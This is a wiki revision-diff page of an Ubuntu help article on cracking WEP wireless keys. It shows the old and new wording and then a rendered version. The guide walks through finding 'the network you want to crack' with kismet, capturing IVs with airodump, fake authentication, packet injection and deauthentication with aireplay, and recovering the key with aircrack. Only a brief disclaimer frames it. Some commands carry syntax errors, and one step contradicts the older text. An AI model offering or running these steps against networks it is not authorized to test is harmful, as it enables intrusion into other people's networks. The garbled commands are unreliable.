个人工具

“UbuntuHelp:CrackingWEP”的版本间的差异

来自Ubuntu中文

跳转至: 导航, 搜索
(新页面: {{From|https://help.ubuntu.com/community/CrackingWEP}} {{Languages|UbuntuHelp:CrackingWEP}} '''''This page is provided for educational purposes only. Gaining access to networks without pe...)
 
 
(未显示同一用户的5个中间版本)
第1行: 第1行:
 
{{From|https://help.ubuntu.com/community/CrackingWEP}}
 
{{From|https://help.ubuntu.com/community/CrackingWEP}}
 
{{Languages|UbuntuHelp:CrackingWEP}}
 
{{Languages|UbuntuHelp:CrackingWEP}}
 +
<<Include(Tag/Moving)>>
 
'''''This page is provided for educational purposes only. Gaining access to networks without permission is illegal'''''
 
'''''This page is provided for educational purposes only. Gaining access to networks without permission is illegal'''''
 
 
=== Cracking WEP with Ubuntu dapper 6.06 ===
 
=== Cracking WEP with Ubuntu dapper 6.06 ===
 
This entry should enable anyone to get Linux up and running and crack a WEP key. It took me about 2 days and myriad tutorials to finally get this to work, and now that I have I feel that I should share it with everyone. I am by no means a Linux expert, but this works regardless. All you need is a old laptop with a wireless card and a copy of Ubuntu Linux, currently one of the most popular and easily installed distributions of linux. If you haven’t already bought a wireless card, you should select one from [http://aircrack-ng.org/doku.php?id=faq#which_is_the_best_card_to_buy this]
 
This entry should enable anyone to get Linux up and running and crack a WEP key. It took me about 2 days and myriad tutorials to finally get this to work, and now that I have I feel that I should share it with everyone. I am by no means a Linux expert, but this works regardless. All you need is a old laptop with a wireless card and a copy of Ubuntu Linux, currently one of the most popular and easily installed distributions of linux. If you haven’t already bought a wireless card, you should select one from [http://aircrack-ng.org/doku.php?id=faq#which_is_the_best_card_to_buy this]
 
list to save yourself some trouble.
 
list to save yourself some trouble.
 
+
1. The first step is to add the extra repositories.[[UbuntuHelp:Repositories|Adding|Repositories]] Make sure your box can connect to the internet. If you can only connect via wireless and are having problems, there is a package called [http://packages.ubuntu.com/dapper/net/wifi-radar Wi-Fi radar] that is helpful.
Next step is to install the extra repositories and all the programs that Ubuntu doesn’t preinstall. Make sure your box can connect to the internet. If you can only connect via wireless and are having problems, there is a package called [http://packages.ubuntu.com/dapper/net/wifi-radar Wi-Fi radar] that is helpful. To install the extra repositories, open a terminal window and type the following:
+
2. Now we have to install build-essential, linux-source, linux-headers and shareutils packages from the repository and aircrack, kismet, and airsnort packages from the Universer Repository.
 
+
3. Next, you should update your entire system and once that is done reboot your system. After this is done, it’s time to patch the Madwifi drivers.
<pre><nowiki>
+
4. This is where everything can be tricky. My wireless card (Linksys WPC55AG) uses the Atheros driver, which I needed to patch. If you have a different driver, you’re going to need to find out whether or not you need to patch your drivers, or if they’ll even work with the Aircrack suite. The forums at [http://aircrack-ng.org aircrack-ng.org] are a good place to look and so is a google search. If you have an Atheros card, it will be called ath0 when you type iwconfig in the terminal window, or there will be a line that says Ethernet controller: Atheros Communications… when you type lspci in the terminal.
sudo cp /etc/apt/sources.list /etc/apt/sources.list_backup
+
5. If you are using the Atheros driver, next we need to configure kismet to use the right source. If you are using another driver you’ll have to look up what syntax you use. First navigate to the Kismet config, /etc/kismet/kismet.conf, then change the source line. Change the line that begins with ’source=’ to ’source=madwifi_ag,ath0,madwifi’. Now reboot the computer. After it boots back up you should be able to access the internet again via your wireless card.
gksudo gedit /etc/apt/sources.list
+
6. Now we can begin cracking. Open up a terminal window, enter monitor mode, and run kismet.
</nowiki></pre>
+
 
+
add any of these repositorys that you don't have allready.
+
 
+
<pre><nowiki>
+
## Add comments (##) in front of any line to remove it from being checked.
+
## Use the following sources.list at your own risk.
+
deb http://archive.ubuntu.com/ubuntu dapper main restricted universe multiverse
+
deb-src http://archive.ubuntu.com/ubuntu dapper main restricted universe multiverse
+
 
+
## MAJOR BUG FIX UPDATES produced after the final release
+
deb http://archive.ubuntu.com/ubuntu dapper-updates main restricted universe multiverse
+
deb-src http://archive.ubuntu.com/ubuntu dapper-updates main restricted universe multiverse
+
 
+
## UBUNTU SECURITY UPDATES
+
deb http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse
+
deb-src http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse
+
 
+
## BACKPORTS REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)
+
deb http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse
+
deb-src http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse
+
 
+
## PLF REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)
+
deb http://packages.freecontrib.org/ubuntu/plf dapper free non-free
+
deb-src http://packages.freecontrib.org/ubuntu/plf dapper free non-free
+
</nowiki></pre>
+
 
+
Save the file and exit the text editor. Next type the command:
+
 
+
<pre><nowiki>
+
sudo apt-get update
+
</nowiki></pre>
+
 
+
Now we have to install the packages we’ll need later on:
+
 
+
<pre><nowiki>
+
sudo apt-get install build-essential
+
sudo apt-get install aircrack
+
sudo apt-get install kismet
+
sudo apt-get install airsnort
+
sudo apt-get install linux-source
+
sudo apt-get install linux-headers
+
sudo apt-get install sharutils
+
</nowiki></pre>
+
 
+
Next, you should update your entire system by going to the System Menu>Administration>Update Manager. Click ‘Check’ and begin installing updates. Then reboot your system. After this is done, it’s time to patch the Madwifi drivers.
+
 
+
This is where everything can be tricky. My wireless card (Linksys WPC55AG) uses the Atheros driver, which I needed to patch. If you have a different driver, you’re going to need to find out whether or not you need to patch your drivers, or if they’ll even work with the Aircrack suite. The forums at [http://aircrack-ng.org aircrack-ng.org] are a good place to look and so is a google search. If you have an Atheros card, it will be called ath0 when you type iwconfig in the terminal window, or there will be a line that says Ethernet controller: Atheros Communications… when you type lspci in the terminal.
+
 
+
Let’s apply the madwifi patch which you’ll need if you’re using the Atheros driver. This will temporarily disable your wireless card when it deletes the old drivers of the disk. First we’re going to navigate to the /usr/src directory, download the new drivers, delete the old drivers, then install the new ones and apply the patch. You can just copy and paste the commands below into the terminal or type them yourself.
+
 
+
Thanks to syserr.com for hosting the driver source.  (noone asked if it could be used)
+
 
+
<pre><nowiki>
+
sudo -i
+
 
+
cd /usr/src
+
wget http://www.syserr.com/stuff/madwifi-cvs-20051025.tar.gz
+
wget http://www.syserr.com/stuff/madwifi-cvs-20051025.patch
+
 
+
ifconfig ath0 down
+
rmmod ath_rate_sample wlan_wep ath_rate_onoe ath_pci wlan ath_hal
+
find /lib/modules -name ‘ath*’ -exec rm -v {} \;
+
find /lib/modules -name ‘wlan*’ -exec rm -v {} \;
+
 
+
tar zxvf madwifi-cvs-20051025.tar.gz
+
cd madwifi
+
patch -Np1 -i ../madwifi-cvs-20051025.patch
+
make && make install
+
</nowiki></pre>
+
 
+
If you are using the Atheros driver, next we need to configure kismet to use the right source. If you are using another driver you’ll have to look up what syntax you use. First navigate to the Kismet config, then change the source line.
+
 
+
<pre><nowiki>
+
gksudo gedit /etc/kismet/kismet.conf
+
</nowiki></pre>
+
 
+
Change the line that begins with ’source=’ to ’source=madwifi_ag,ath0,madwifi’. Now reboot the computer. After it boots back up you should be able to access the internet again via your wireless card.
+
 
+
Now we can begin cracking. Open up a terminal window, enter monitor mode, and run kismet.
+
  
 
<pre><nowiki>
 
<pre><nowiki>
第97行: 第17行:
 
sudo kismet
 
sudo kismet
 
</nowiki></pre>
 
</nowiki></pre>
 +
7. Locate the wireless network you want to crack, and note its ESSID and channel. Then exit by pressing Ctrl-C.
  
Locate the wireless network you want to crack, and note its ESSID and channel. Then exit by pressing Ctrl-C.
 
 
Next, run airodump.
 
Next, run airodump.
 
 
<pre><nowiki>
 
<pre><nowiki>
 
sudo airodump filename ath0 channel# 1
 
sudo airodump filename ath0 channel# 1
 
</nowiki></pre>
 
</nowiki></pre>
 
 
The one at the end lets Airodump know we only want to capture IV’s. The filename can be anything you want, and will be saved in your home directory (or whatever directory you run the command from) as filename.ivs.
 
The one at the end lets Airodump know we only want to capture IV’s. The filename can be anything you want, and will be saved in your home directory (or whatever directory you run the command from) as filename.ivs.
 
+
8. Copy the Essid of the wireless network from the airodump window by selecting it and pressing Shift+Ctrl+C. Open up a new terminal window so we can run aireplay to start injecting packets so our data count goes up. We want the data column in airodump to reach between 100,000 and 400,000. The more packets we have, the faster aircrack can find the WEP key. If the WEP key is 128 bits, we may need up to 1,000,000 packets.
Copy the bssid of the wireless network from the airodump window by selecting it and pressing Shift+Ctrl+C. Open up a new terminal window so we can run aireplay to start injecting packets so our data count goes up. We want the data column in airodump to reach between 100,000 and 400,000. The more packets we have, the faster aircrack can find the WEP key. If the WEP key is 128 bits, we may need up to 1,000,000 packets.
+
  
 
<pre><nowiki>
 
<pre><nowiki>
 
sudo aireplay -3 -b BSSID -h 0:1:2:3:4:5 ath0
 
sudo aireplay -3 -b BSSID -h 0:1:2:3:4:5 ath0
 
</nowiki></pre>
 
</nowiki></pre>
 
+
9. This should associate the network with the wireless connection. If it times out repeatedly, you need to be closer to the wireless router or change your interface rate by typing ’sudo iwconfig ath0 rate 1M’.
This should associate the network with the wireless connection. If it times out repeatedly, you need to be closer to the wireless router or change your interface rate by typing ’sudo iwconfig ath0 rate 1M’.
+
  
 
Next we want to start injecting packets.
 
Next we want to start injecting packets.
 
 
<pre><nowiki>
 
<pre><nowiki>
 
sudo aireplay -1 0 -e ESSID -a BSSID -h 0:1:2:3:4:5 ath0
 
sudo aireplay -1 0 -e ESSID -a BSSID -h 0:1:2:3:4:5 ath0
 
</nowiki></pre>
 
</nowiki></pre>
 
 
At first, it will only read packets, and say 0 ARP requests and 0 packets sent. Just wait a minute or two and it will start sending packets in large quantities. If it returns text that says it has been deauthorized, press Ctrl+C and run the command again. You can try to speed things up by entering this command:
 
At first, it will only read packets, and say 0 ARP requests and 0 packets sent. Just wait a minute or two and it will start sending packets in large quantities. If it returns text that says it has been deauthorized, press Ctrl+C and run the command again. You can try to speed things up by entering this command:
 
 
<pre><nowiki>
 
<pre><nowiki>
 
sudo aireplay -0 ath0 -a BSSID ath0
 
sudo aireplay -0 ath0 -a BSSID ath0
 
</nowiki></pre>
 
</nowiki></pre>
 
 
Otherwise just sit back and wait. As soon as packets begin to be sent, the data field in Airodump should start flying. Wait until the desired number of packets have been recieved, then open a new terminal window and run aircrack.
 
Otherwise just sit back and wait. As soon as packets begin to be sent, the data field in Airodump should start flying. Wait until the desired number of packets have been recieved, then open a new terminal window and run aircrack.
 
 
<pre><nowiki>
 
<pre><nowiki>
 
sudo aircrack filename.ivs
 
sudo aircrack filename.ivs
 
</nowiki></pre>
 
</nowiki></pre>
 
+
10. After a minute, aircrack should return the WEP key. If it doesn’t, collect more packets.
After a minute, aircrack should return the WEP key. If it doesn’t, collect more packets.
+
 
+
 
==== References ====
 
==== References ====
http://www.turkeyfarm.net/blog/2006/06/22/cracking-wep-with-linux-actually-works/
 
 
 
http://aircrack-ng.org/doku.php?id=faq#which_is_the_best_card_to_buy
 
http://aircrack-ng.org/doku.php?id=faq#which_is_the_best_card_to_buy
 
 
==== External links ====
 
==== External links ====
http://www.turkeyfarm.net/blog/2006/06/22/cracking-wep-with-linux-actually-works/
 
 
 
http://packages.ubuntu.com/dapper/net/wifi-radar
 
http://packages.ubuntu.com/dapper/net/wifi-radar
 
 
http://aircrack-ng.org/doku.php?id=faq#which_is_the_best_card_to_buy
 
http://aircrack-ng.org/doku.php?id=faq#which_is_the_best_card_to_buy
 +
http://airdump.net/hacking-wifi-ultimate-ubuntu-guide
 
----
 
----
[[category:CategoryNetworking]] [[category:CategoryCleanup]]
+
[[category:CategoryNetworking]]  
  
 
[[category:UbuntuHelp]]
 
[[category:UbuntuHelp]]

2008年10月19日 (日) 14:43的最新版本

<<Include(Tag/Moving)>> This page is provided for educational purposes only. Gaining access to networks without permission is illegal

Cracking WEP with Ubuntu dapper 6.06

This entry should enable anyone to get Linux up and running and crack a WEP key. It took me about 2 days and myriad tutorials to finally get this to work, and now that I have I feel that I should share it with everyone. I am by no means a Linux expert, but this works regardless. All you need is a old laptop with a wireless card and a copy of Ubuntu Linux, currently one of the most popular and easily installed distributions of linux. If you haven’t already bought a wireless card, you should select one from this list to save yourself some trouble. 1. The first step is to add the extra repositories.Adding|Repositories Make sure your box can connect to the internet. If you can only connect via wireless and are having problems, there is a package called Wi-Fi radar that is helpful. 2. Now we have to install build-essential, linux-source, linux-headers and shareutils packages from the repository and aircrack, kismet, and airsnort packages from the Universer Repository. 3. Next, you should update your entire system and once that is done reboot your system. After this is done, it’s time to patch the Madwifi drivers. 4. This is where everything can be tricky. My wireless card (Linksys WPC55AG) uses the Atheros driver, which I needed to patch. If you have a different driver, you’re going to need to find out whether or not you need to patch your drivers, or if they’ll even work with the Aircrack suite. The forums at aircrack-ng.org are a good place to look and so is a google search. If you have an Atheros card, it will be called ath0 when you type iwconfig in the terminal window, or there will be a line that says Ethernet controller: Atheros Communications… when you type lspci in the terminal. 5. If you are using the Atheros driver, next we need to configure kismet to use the right source. If you are using another driver you’ll have to look up what syntax you use. First navigate to the Kismet config, /etc/kismet/kismet.conf, then change the source line. Change the line that begins with ’source=’ to ’source=madwifi_ag,ath0,madwifi’. Now reboot the computer. After it boots back up you should be able to access the internet again via your wireless card. 6. Now we can begin cracking. Open up a terminal window, enter monitor mode, and run kismet.

sudo airmon start ath0
sudo kismet

7. Locate the wireless network you want to crack, and note its ESSID and channel. Then exit by pressing Ctrl-C.

Next, run airodump.

sudo airodump filename ath0 channel# 1

The one at the end lets Airodump know we only want to capture IV’s. The filename can be anything you want, and will be saved in your home directory (or whatever directory you run the command from) as filename.ivs. 8. Copy the Essid of the wireless network from the airodump window by selecting it and pressing Shift+Ctrl+C. Open up a new terminal window so we can run aireplay to start injecting packets so our data count goes up. We want the data column in airodump to reach between 100,000 and 400,000. The more packets we have, the faster aircrack can find the WEP key. If the WEP key is 128 bits, we may need up to 1,000,000 packets.

sudo aireplay -3 -b BSSID -h 0:1:2:3:4:5 ath0

9. This should associate the network with the wireless connection. If it times out repeatedly, you need to be closer to the wireless router or change your interface rate by typing ’sudo iwconfig ath0 rate 1M’.

Next we want to start injecting packets.

sudo aireplay -1 0 -e ESSID -a BSSID -h 0:1:2:3:4:5 ath0

At first, it will only read packets, and say 0 ARP requests and 0 packets sent. Just wait a minute or two and it will start sending packets in large quantities. If it returns text that says it has been deauthorized, press Ctrl+C and run the command again. You can try to speed things up by entering this command:

sudo aireplay -0 ath0 -a BSSID ath0

Otherwise just sit back and wait. As soon as packets begin to be sent, the data field in Airodump should start flying. Wait until the desired number of packets have been recieved, then open a new terminal window and run aircrack.

sudo aircrack filename.ivs

10. After a minute, aircrack should return the WEP key. If it doesn’t, collect more packets.

References

http://aircrack-ng.org/doku.php?id=faq#which_is_the_best_card_to_buy

External links

http://packages.ubuntu.com/dapper/net/wifi-radar http://aircrack-ng.org/doku.php?id=faq#which_is_the_best_card_to_buy http://airdump.net/hacking-wifi-ultimate-ubuntu-guide